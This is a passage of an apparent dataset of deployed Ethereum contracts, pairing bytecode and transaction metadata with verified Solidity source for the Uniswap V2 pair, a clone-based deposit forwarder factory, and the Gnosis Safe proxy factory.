f841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032 | // File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
} |
1 | 19,493,953 | 1f10f2b5cc3952a8b5b4e0977802667d0ec636a652d3a6af2160f8a6bbf6db73 | 5531e8a6478ce52543b4c98e4aac8c2249f7d2fec64d89a8a94699f94a73db31 | d2c82f2e5fa236e114a81173e375a73664610998 | ffa397285ce46fb78c588a9e993286aac68c37cd | 8851eb80ec0b5bcdbe6deb76de891b798d56bb99 | 3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
} |
1 | 19,493,964 | ae7484da566bf7c6339b1f50e4179b603a6b01637314850d4388c809c87f83d1 | aa03fa1cb056774b7cffc2fa171958815b8c47da26dc24eeabe1669b727993bd | ea6e394d0866f3d587bc1074bfd9995de29c8be7 | a6b71e26c5e0845f74c812102ca7114b6a896ab2 | e3f53520e596785e48d4f5f284f83b85452e6d16 | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552 | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
